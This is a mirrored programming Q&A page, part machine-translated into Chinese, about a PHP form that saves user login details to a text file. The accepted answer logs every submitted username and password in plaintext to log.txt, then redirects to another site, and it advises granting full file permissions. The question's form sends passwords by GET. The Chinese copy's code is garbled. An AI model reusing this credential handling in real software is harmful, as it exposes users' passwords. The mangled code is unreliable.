创建一个登录,并使用php将用户输入存储在文本文件中 [英] Create a login and that stores the users imput in a text file using php

查看:111
本文介绍了创建一个登录,并使用php将用户输入存储在文本文件中的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我想为我的简单登录网站创建一个创建帐户页面,用户点击一个创建帐户按钮,然后将它们带到具有以下表单的页面,以输入登录名和密码。

 < form action =createaccount.phpmethod =get> 
< h1>请输入您的信息以创建新的登录帐户< / h1>
< p>
< label>登入名称:< / label>< input type =textname =name/>
< label>密码:< / label>< input type =passwordname =pwd/>
< br />< br />
< / p>
< input type =submitid =submitvalue =submit/>
< input type =resetid =resetvalue =reset/>
< / form>

在用户输入数据到输入框后,我想运行一个php脚本来存储这些数据到一个名为accounts.php的文本文件中(我知道这并不安全,但是这些数据对我来说没有任何价值,因为我将它作为学习过程的一部分)

到目前为止,我有以下php代码将数据存储在文件createaccount.php中。

 <?php 
$ username = $ _GET ['name'];
$ password = $ _GET ['pwd'];
$ filename ='accounts.txt';
$ fp = fopen($ filename,'a +');
fwrite($ fp,$ username。,。$ password。\\\
);
$ fclose($ fp);
echo(account created);
header(Location:login.html);
die();
?>

我认为这段代码应该从登录名和密码中获取输入,并按照以下格式将它们存储在名为accounts.txt的文件中。

  username1:password1 
username2:password2

然后回显创建的屏幕帐户,然后将用户带到我的login.html页面,以便他们可以使用新帐户信息登录。

我试着运行代码,它根本不会将我的数据保存到文件中,当我提交表单时,它不会将我指回到我的登录屏幕,我只是收到一条消息,表示无法显示页面。

解决方案

如何创建简单的登录表单。

 < form action =login.phpmethod =post> 
< input type = textid =usernamename =username/>
< input type =passwo rdid =passwordname =password/>
< input type =submitname =Loginvalue =Login>
< / form>

php(login.php)

 < HTML> < HEAD> <标题>登录< /标题> < /头> ($ _POST ['Login']){$ myFile =log.txt; $ fh = fopen($ myFile,'a')或者死(无法打开文件); $ stringData = $ _POST ['username']。 :; fwrite($ fh,$ stringData); $ stringData = $ _POST ['password']。 \\\
; fwrite($ fh,$ stringData); fclose($ fh);}?> //在< script> location.href ='https://YOURWEBSITE.com'后面的这里<脚本> < / body>< / html>

,任何其他问题都会将我添加到Skype中。
Skype:YouRGenetics
网站:ItzGenetics.com
$ b 〜注
如果您使用托管公司(GoDaddy,等)使用权限确保您给予php文件和txt文件的所有权限。


I want to create a create account page for my simple login site where the user clicks a create account button and they are brought to a page with the following form to enter a login name and a password.

<form action = "createaccount.php" method="get">
    <h1> Please enter your information to create a new login account</h1>
    <p>  
        <label>Login Name:</label><input type = "text"  name = "name" />
        <label>Password:</label><input type = "password" name = "pwd" />
        <br/><br/>
    </p>
    <input type = "submit"  id = "submit" value = "submit"/>
    <input type = "reset"  id = "reset" value = "reset"/>
</form>

After the user enters there data into the input boxes I want to run a php script to store this data into a text file called accounts.php (I know it is not secure but this data has no value to me as i am making it up as part of the learning process).

So far I have the following php code to store the data in the file createaccount.php

<?php
    $username = $_GET['name'];
    $password = $_GET['pwd'];
    $filename = 'accounts.txt';
    $fp = fopen($filename, 'a+');
    fwrite ($fp, $username . "," . $password . "\n");
    $fclose ($fp);
    echo ("account created");
    header("Location: "login.html"); 
    die();
?>

This code I believe should take the inputs from login name and password and store them in a file called accounts.txt in the following format

username1:password1
username2:password2
etc.

then echo the screen account created and then take the user to my login.html page so they can log in with there new account info.

But I try and run the code and it does not save my data to the file at all and when i submit the form it does not direct me back to the my login screen i just get a message saying page cannot be displayed.

解决方案

How to create a simple Login form.

html (login.html)

<form action="login.php" method="post">
<input type="text" id="username" name="username"/>
<input type="password" id="password" name="password"/>
<input type="submit" name="Login" value="Login">
</form>

php (login.php)

<html>
 <head>
  <title>Login</title>
 </head>
 <body>

<?php

//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){

$myFile = "log.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = $_POST['username'] . ":";
fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
fwrite($fh, $stringData);
fclose($fh);

} ?>


//goes here after
<script>location.href='https://YOURWEBSITE.com';</script>
	 
 </body>
</html>

Hopefully that helps, any other questions add me on skype. Skype: YouRGenetics Website: ItzGenetics.com

~NOTE If your using a hosting company (GoDaddy,ect) that uses permissions make sure you give all permissions to the php file and the txt file.

这篇关于创建一个登录,并使用php将用户输入存储在文本文件中的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆